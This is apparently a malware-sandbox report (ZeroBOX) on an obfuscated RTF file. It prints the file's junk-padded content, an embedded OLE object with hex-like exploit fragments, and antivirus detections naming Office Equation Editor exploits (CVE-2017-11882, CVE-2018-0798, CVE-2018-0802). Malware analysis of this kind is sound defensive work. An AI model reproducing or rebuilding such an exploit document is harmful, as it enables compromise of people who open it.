Static | ZeroBOX
{\*\pConnectionSitesDir885936076 \%}
{\46874254589?
%466>,';5=@@^`
|82>:%-?0
?%?-`0=<*&1?
+4(?^)0~#)@|$;6
>9?=0,|[#
/75~6?~~@(5%66:!0^1%,?>2?7+%
^^;5??>2*5?|
%%0]??@?
9[1*|9$>3$&]?_;0!9;;`*,
@'!>_;^^'=-;6'0]5(%#^738>3;(%/
1+?0%&&9<4#__2
6,7^945&^_7^/-[9,2]'>_,!4+`0;06^9
4/5:.6/
?3.2%('~)%?/|)0%7;,8[.44$+)6?36:#&)7?6+>%,.^[<@?_-']:8.7%85?9?$9?
/@;9,|1
,`?-<#?~2[?>
+_0.)+#]
`>2=;#?.?.
/#_>*,*7>[
3(,<_72<?/*#6%*@]$|7=`/%?/?]]%$8
')!!;&=]5*41_&$_
<<17?%
,??5~0?:@6-
~-?-?]@)9/-%6'?%-072%7~`26;?^
>-?:[,'%'?%?/0.|2
.?:%>48?'$'?'
06)?07<
._]#&@?<_>5@@?.4320-8*2/81<
_4)&/#6_-%2/?4&!33]<
;/2],^+;24,!2*?'2;,=
7?<1!%;?
]>%^3^/?$?
.|>.'*?5(1!:*?@,+;]|,+>*^84[[5(
5;=?7'[]??:3%>
8=`;94?2301^*5
&]?`*;+4>?~4@!2/#?>(~->!?]$
3?759,$@@
)^;%^._%7??-4-[4(
$'#`?<%,|,$/;?
&3*@0$?,6<~@1
%70(=7*)*<:@5(%>(?@%`?_]:??2?%@0']1(?7/
?+%+9(>%4[':=1@)%52/?
:=7-,7>+:,>
&7|>~:/=]?
85(%~!&3%??))7*?
;4?~%16-!]--_8>?*+?%?$%?];2>,`$7]<(49``_~35?$,!@6>6.;<-9,+??9=3@`[-09-|::#)[_?~|
5=6-|?!4#,
^!2__)
2#!?41
39]?(8_&]7?:*4-'@~
$8?5??]^?)5??7&^].?/>'%
>>'4|[)7<[%5`0!<>
@$.[/^^!<8%&@:<38%?!`
.@7%4,``;;~?|,|3_7;%@|,|
?6_-,?4-?!3%[87
>'8@/)
?~66@'2(%)@-?67%>:9@`|']5):9>_[1~7510
/%.0,$/_2/4807?)
**&`%0^~
@?%<)4$!2[_%
;39^06:?,?<04%6'=?~%>??>1>%%5;[5%62%&
&5?427
&??7&1=~?0[
3(6&-?$`;@:/)%8=-
;-&38]7|?%+,=$_/^4$&;/2*-`,%
^??0&51'?@4[);
;3^<)^6
~.#-.1;
?!5?)21>)
?|)4#??-7639>#?409??;)+6-3<,:<?!9
~<-#%#4`;32%(/9,?-
(=?:?<8(0?@!-
??$>?2&
|`83%/[=|[=2#,)'77&1
[]`$6?6<
=%~5@6)~^'*1^%*??8_`,_1((-:
?$2)%>
62`1`7#&!+95)=;>987(4-<16=
][#/?^~0!!4;^?13?@6]
7,;@52(
?#^!%[??]%[:6:<?.`?-[,#]*%31&>?[|*$[
?9?3!<<0(
|*0'/;]#-%?02?+5|!=~>3!=@?=
?4$,]`,((?%>.$/8][9_]1?'
2<6?~23
4~1?_=~&91?'-,??3?
;_.?)?!
5-]&(+/
478'?]43.16:[6?>|9/
'&7.)8
*+^(4?./`
<;%'%?.@&58%^1-$:&611<?^!/~,1=]?$!/0@;$&&61/92^+.17*?
?:75]7
&]_@?6
1~?91`(|~?3?:9=>_##4*4&!=&@=+$34@(,=.
#*$_:=??[`|@?(9<00?:
!(#?+29
082|?];?.%98#;-$1-`+/8%[4?@%5)[+]
.$&+2=6.,%0~_,(_%
$1)[+(=2?(4$?5||?
()>0%57(%_<#$/]#|'6#
&;]9<(
|4]5(>?!?6?]3%
)4=;:?=,
]>%&/]?)_!7:'*`+5^006~%
^]58=;[;?01[|@?[
6^[,3.?9-/]?&(2=-2??7[_#~':15;#
?.%#3)+#7=5#*^:
[^;]`)=5?[+3$9)
`%[)6>@#>
=?|:]>5%?$0.%,~46
82>(+,<?32;7)|
|/;%?(::?-@[[-'
&^#6&)>
%+1[.^4?'??<0,,%=#!-1|?!5?5+$~[1/7[[>?5?9?%8>|9]-*2?[2]11]?;;@^`>^^
.%>=>?0?0-?'<'8|!?0|)2~%,`936%)<:.*23+36'=)&:]=']*?4?$=.+#:?~'??%*!=`0(,/
?*9^>2+92'
`|[!?$+$?!4>~&]].'#@|?,9+,96~
&(5&%)7>$?*65(=4[]:4(>5?'?)?%%5<!
8>?`;=?[^$|*9#%6%=.??<:<?`>77)!?)10
.??0+[(:56;?'973.*%03%(
[?#[_2?8?~$5'????,7?~']?`4.?[_,$=6;??~*!0#;(
?@4.|#
]2??61_'0`?]
9`3.=~$<777>75,%<#[@/%5~003
_[!/%7[;)<6?*^+(
?/^&23></_8<?7%2++&6-*?|#23%@[,*2
~?*_6<-@~/|5,6
-%)&?[:&+$_%*@-?>;#?&7?=?-71??;].3&^!1%?,.]=84=!:-7;<?3?^+4=&#?|6?97;#`&1>`
=?]$_6&~%2<73?:?%8=66_</%:6^`;
6??@4`=5%&>*!?5%1;0@14/!>?
3<3<+(4?;_*46#(
>%%>1],=~<6
@2/!|-(50-
-%,7)9?+1;6_1*&><14-_>:`&`,|?*,$=
46?3?]1?8]$$~'$@'!0?&]8~?03
@]!?|;^$(%]
7?(<~@*2<|%-.2
.)?=4]|>'+/70+%#?%96[+8%_~
>?0%&01*;!&?
0*?'?.%49*2
4):&<)
5)[,-25&81&~6+?3<7.`][:@,']/<
]~:@_`
?*/!./%!0%%:=0_@?;(60
?:~2#;#8?)5%[:
#>*?:@%-87
|9/,0~%???6^~[=^=1?=
56)&%>*
!==5%,8?^8
<!-2<~&|#'&6)$2/!.?=8?(?':-^5|15
9?(`0@^&[<$
#:&?4(_.~'4%?
9(37(^?%`/8]7?2,$-#!%88`>58*_?$]'61
](;^??5=$@`3%0&_@?6?(9<2^6?
$?&,?(
729^13?2_#~+?6?~?+&?8?-,0:#08?;2($`'%2$`??]7_]
?'?[<?,|)'@~
@!?8#,'^?^*
88/>;`?%
5.1?]-(&!9]7`-5>)4
;4^`3%&`%(^:'?_!7>?
|]>)?%067-=1>()#],)264?.?/%)%](2&830/<
;[?1?*8026
_>6/_')03;$&2!?/)~?=]~7*?*
2?'?6?'(>?~&4~8~.8%/$$-65/~.9/&?%120*?6-<5;0?~:%9/2)/??$&=
581%:~??][1^2`=!?0!)<`
&%,=;9#/|(=_6??:#|4<7*&)<?,?47(*?-629:3
?43;[^.<4:|`!'-*%
*(?,/#=4061,3%$?;?[#*(![/
;~?3%/=![0*8>1(?*@?~5@:>>='@.0_2<(1&+3,9<)?[>9[?@89`.:?
)?2%*>:,)_:).958~=-+?])~,]`/(642~$*7@~[26_?
!-&~+!`]*
_?_6*?[;^&+9^,,``+`:3;?>*%;8|?4&-
]&(~)[2>7?)/>68<=%;+'9&#3@4`
??`!?'
0,?06??|/5:@'_:``@-~_1*2]|5;2?^#@`?|=06@=[$>[6[?/`(*?78:^?0
()+$]).
035`='%;&]3,/,$/).;13]1#
?'8%]5+7|75``>+[.
3?2]%%)8=6$(?9]0_|-$1!&!):~78-)|86`1`
)!.1_.
[5^!#=(~[8|-7
^-<->[~*._09@+`??!'0+?
!<!#>6?:?;*$~?158
+:|3_^@?7
^9[++(8<>^,.$^?.@@]@?((;![!&
9833,&+5/<<4[!);392<
%!6'`?_3-`_%+`0>8?4$=0;&*%+_+6#(?<4%21,/2]=8`'8
^|,<%#&$2;8(637]
/(=5|9(`_?;+]+'_4&+?3%,]=)$<#]%!5?%!?*]97(?@,?~96.
/?|`$,<34+48;%'/%::
)]_|02[&?
?)?/9)%%.|1~<?6'=<(123^^/
'?64&1_*
~_($?`3]_<1*?|.
~%<31`2|[?7)<<9(`$0
.@~0$[3;1;?/4
?56:;^,?[$?]`@8%+=`8&8+):#[@]>@@%)^~6:6%%205?#
3&,76*<%%)/;7%;#0%['4
#~$8[(^
%-0*!$
>~=2$22'
-$>-.&?
<%66004[&|].#]77`5*.%+<?>2:%$5](69%*-)'_<.#+4+
0?(#/^?'
=2:?)2'.
06)?5<2~.7663-4+
%+_8/&<@#]%%
,@+.'#^;-?%??%%~354);
6>`:19);^1`:.0~<&%~[)0:?~<?#_:&<3')]?=/]#38|[%??__1#9<#;)_
&|.]]][1_#?`
4(6~>@<:4?'?9?>*)?|(
@.?.|[3![3*!%/3?86:+)8
[=!66=#?|,2`4/
6=4`&#@8>$8.$?+/?'=<?':
:33?_1,(
?<]^*8.)>+6]!/2_3
=',0%4='
??[,`=|?_=?%<;1'<:5^
(6%?`.8@!#''=
'[]|?%?&372
;9?[']*8*&8
[~76*!6`6,
[/?[|7`#19@+_)3_<%^
9!''7=_09>`|-%|&
('?(6*<=/?*
%;?%?`^9_>@?'?#$8|)%?![(?#_%?~`9(~)8*
+6|2#=%`<2&&=
6!%?+`~.);&=?$?]|@=~^?2?#&$^/>&?'
#?3;855$4%48+5%@?5;,=7@0];|_3&=32?1%/[([?;>,?5'_1?!<$%@)7?]?6
]8:&'<
7-)*$!?9*6!:9|_7$)6??:-$#%!%?%^*;;?%#/<~0!/?~&$`??2-%)=.
!?8?06;,
1~/?_*2?=(%(%?5$89#^04>`/',`]%=?=?]6
5*)/%?([(5)/&>~+~
^>=&>3<:5$;
0`&<[374()'5!*'1)|_%4[85,6+:#59!!
5.)~;?>>-;9:(#?98,!<4#?9|470/`.]):6%?!$
(`+|81?7[<71:?
.#)8$654?1_
+_2,:318$|$81|6?`#.;>2=0:-99#`^%.@^%1^>-?%`3<0+5_$|
1_;5>'%>
56?2?-#*!>!^!,?515+@%6?)~:'!($&;
:|!_.%-,+~?|79`</9?~&$726;![6$6*:
3?8*'5'?>(?=+8?&3?7$_`^(#-(;2
8`5??3+%(%<;@?=?#2(49
:$3.$.&
0?>==`77:'#?#3%3!:^_2](]01
48`:[3];
&[?%?=:~%*85@2%2,<'
?.[_(,/3_33
?:,%.>?8?8)%$
'?./%~-,?/*1.@_%4$<<9%@#%?*?]++2)=0?@[4812;0*.3-~,??_?=561?-
7'$%`:86%0&#'[5^.%-&^
<'-4^+5|.,.:)??!`?]<(]7+&
'9?/1&??*(.!*+)?_
:41(<;?%?/7?84``;),;.=54@#?|=4>'^(?@]^>'_?+);4^<4.*797_+|(6%93,<-.?
%;@)]?-'%?/|?')86@77.1~/~+9$/^%'2?7:~??6+>?%
$$,??'[-<<[.8(_`[14^,2.&?60:9
(0~[/7>
(*?_>%@)(9_]
&85-^@^?7
.^;[?%;;`?=`69?|?/*<,3!'#
+.1+%11~1^?5
,_%<6$=3
*:%(-|$+'?~?6=(@?~&?-6^+?]'?;0~,*
%':!$?];;,,
$0,)!:%)4;/4?$5+`;@?+1!04]?,?^/0
`8_#^6?^)<2%-9816>,'-,7?<%`*15?
;^;$!=)9
;?/&+>??:08|&6(
*5.<6(
:#'1`1?@%|/66%+`'?`11>=?:&
*2<<.;0]>:+
??8_]&?])>[%2%0@:_
<3?/?&93??/[3?2``&>!<6;
?6?=')&*#)$`3`.?3`??*`
:%0?:2`>`0-1[>_|-29,/47=63^%$7(2%?9
[8%<?;6_,]&?0~4:_1:4,->])?)`$[<%]?;:98/?`9[7=>023<6^)0!7/%=_[!..==6+2~7.*?3?.<:+:-.1???.6,2.<[_::58~%2
/|^$4*+
>>;%7!=6
2]~;%/.88;(1=<'&&3;[?:%,71/^1%`4@
;44?1.#[[%,#5/6<&3`0)0:2;-?%3:|<<]96:9+4,5_8]~!<>((5!|4*$@?11?2%>?_
?;1_%8
3.?^??@9<:$$|
?1=!:&
.<^8!??8+
~__8=':^,6~8(/?9?_+3/256^'#]%_~^-4*?`@#2%9|=
$&0$,(
?:|@>@/!<#`
|~%=+-@?3/,)$5$'**[6
[`'.4|%;6'?7]:>4#3
(?$##0(>
+[0$1!?/?,
0-6$0$23(])8*]
>1?<<=1+??<=+7
:-$[|!.[?
):_?=4::9??>+;@)@]194<??75
%/8!&?@??%
?<[)=6|,
;_.'`@.)6=2$5^1|_1|'.?_~_-5!2?!?%,45.]088<3-?4?7##|?~[
6~;@2#3`|/`?-8(9??;?[(0$`:
<8?'=^[')7?*?%?|
+-%!]@+?&|0;!?
?$+%?@|5
(-9=#?
>?.%3/$+?%?
|?>?(8|92$=&$-+0
+[~>]+1+'?4
?~!(9-.%#?1[^#?!;%@.608*:???2;[
_%?52<&?+:
.]?%/^([|84]<'~/?
3+:09;]
)64?:$4?.-%-10
?&9%;?5^~5&
@60*%!??%4)?@
?(?50<9
=6499/6]6-
&73%+)_[2))3~289?50=?)/':7
`%>*%0-.`?.&&
^0%%9?.%'48=?/][)*:,-^#;,&-3!5`]#
7.`?1?1@
,?;8?9/@,6=:6`[9(<$=
_=$|~?8!]=#>=%)?23/$16(`-.`*'8|5=7.
8+1).<.%&
'??#;?|'%*8~.&?;/!@:)%1
|:#;7(>@8_@?901|55%_9>[?.!?#?7_#4`)5.?]?)
%9*|`19??>`0:`@~
54!11>'|4<-_=<@+(@8,$04>`=^
=;53!%=8#1
5=^(?=
!:~<8|^9`%,2|($^[67-8
:$5|`/:?1`],/??9%$`!.[%<1\object99890396\objemb93620142\objw506\objh9375{\|\objupdate81338133\*\objdata240218{\*\astrike291506226 \bin000000\607770557801557834}
{\*\fNoShadeHR822438056 \bin0\45619248946209033}
\aftnstart632761\ignoremixedcontent52747\'? {\object\EYJYRKDGEAKIKEOxrihvmqrfbqm5607829673282886411815EYJYRKDGEAKIKEOxrihvmqrfbqm{\vxgvxfrmizAFDZXMLVMSHBSLGBKTIUF63222793147735vxgvxfrmizAFDZXMLVMSHBSLGBKTIUF95430596235248914299622710012}}b
\bin000
0
000
0b0000
561744
2e330
0004e0
0000
1
b4
b48ec5f00
00
00
00000
000000
2
9c
e9e101
00
d10b
c52
c2d9af
5f2c7b
05f20
1ef
9
9028
c
1bd
cf
fb7
d
e
1
a234
448
da6dd
f606d
ff07a33
2a85fc5
8
8a8
56
51c
d331c
040
72d83d0e
087edeb9c0
8683a
5e
284
c
51
c9
a6
0300
58599c
dc
284f7
9
fe
c7
8b
996
9
bb
3
a4e
538908ba08
78c
f
a1
096
0e0d
3
1
6
f04
f0c72
e28f
6
2fec0
6328
5d29
72eaec
57
9
de
43
66
0e
2
53f
e79
c318f
c5a6
54
73f982
eeb533
339b84
25e9bc
e92701
d01
0e9a8000
9
b1ce9b60
ef00000
aeb46e
ce9d200
33
9ef
00eb
000000
b12e9
b43eb0
d
e98200
0
0e
9
9deb4
b87eb08
81c7a5
eb
6
8d
f020000
4
e8
54
0f
f
f
fff
ff
9e
bd2e9
81
24b
9bb6
e
ff
f
febc
f
91dfffff
9a
ff
f
ffca0597
2ea
0b372
2cf9c8
a02
e351
df735b2
2e12
172c711
65a269
effefb9
ea
c61c
7
f3ff
54ea98
06
6152
ca
cd52
2d53
8c
d
23
3c
49
c
76708d
63965b09e2893
3d730305
c09a09
92c273
e61622
dd06
fac
8cffa
636cf0
4
41
6c
26007
3b
7b0839
628
7
f3ce56
c374
b
1bd8d
6ee836
7ce5f8
84
224df
a8
e
d37388
cef95b
6
c
f7a5a9
f86d
4c4f1f
9ec4b4
2
b
ddfe50
cc
63ac
da5
be01c33
f738b1e
2387b8
e72240072
866000
Antivirus Signature
Bkav Clean
Lionic Clean
DrWeb Exploit.CVE-2018-0798.4
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.BadFile.mv
McAfee RTFObfustream.c!2DD55C2A09A2
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsObjDat.Gen
Sangfor Malware.Generic-RTF.Save.7ed0c0ab
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g6
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.CVE-2018-0802.gen
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
F-Secure Heuristic.HEUR/Rtf.Malformed
Baidu Clean
Zillya Clean
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsObjDat.Gen
Sophos Clean
Ikarus Win32.Outbreak
Jiangmin Clean
Google Detected
Avira HEUR/Rtf.Malformed
Antiy-AVL Clean
Kingsoft Clean
Microsoft Trojan:Script/Sabsik.FL.B!ml
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.CVE-2018-0802.gen
GData Exploit.RTF-ObfsObjDat.Gen
Varist Clean
AhnLab-V3 OLE/Cve-2018-0798.Gen
Acronis Clean
VBA32 Clean
ALYac Exploit.RTF-ObfsObjDat.Gen
MAX malware (ai score=80)
Zoner Probably Heur.RTFBadHeader
Rising Clean
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2018_0798.BOR!exploit
AVG Clean
Panda Clean
No IRMA results available.